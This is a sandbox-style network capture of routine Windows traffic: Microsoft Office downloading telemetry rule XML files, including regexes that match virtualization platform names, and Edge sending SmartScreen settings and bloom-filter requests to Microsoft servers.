2024-10-31 02:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c7261251-b01e-0070-6593-291cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-17c5cb586f6z6tq2xr35mhd5x000000001k0000000001b1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-16849878b7867ttgfbpnfxt44s00000008pg00000000nxhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49849	4.150.155.223	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:30 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiRktsZ0VEVXp1ZTUxYXRyQTRhK01jdz09IiwgImhhc2giOiJZRVFxWnQ0Rml1bz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-31 02:04:30 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-31 02:04:30 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-10-31 02:04:30 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-16849878b7828dsgct3vrzta7000000007c000000000321g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 98e85290-a01e-0021-7dec-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-16849878b78fkwcjkpn19c5dsn0000000800000000000bbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:30 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49852	13.107.246.45	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 4f4f7123-a01e-00ab-7bbd-2a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-17c5cb586f62vrfquq10qybcuw00000001xg000000004rda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:30 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49853	13.107.246.45	443	2796	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7dc698-001e-0066-60bf-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-15b8d89586fmhkw429ba5n22m80000000aeg000000003x8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020430Z-16849878b78z2wx67pvzz63kdg00000007eg00000000gf3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: a0c84568-901e-0016-0da6-2aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020431Z-159b85dff8f46f6ghC1DFW1p0n000000012000000000fwbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 19dd884a-801e-00a3-03cd-2a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020431Z-159b85dff8f5bl2qhC1DFWs6cn00000000r000000000m12v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020431Z-16849878b78nzcqcd7bed2fb6n00000001bg000000007cwe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49862	4.150.155.223	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 739 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiT3Y4NUlQbHZrdjJnWnpQQkRPT3VzQT09IiwgImhhc2giOiJPV0RBRU40Q05pND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
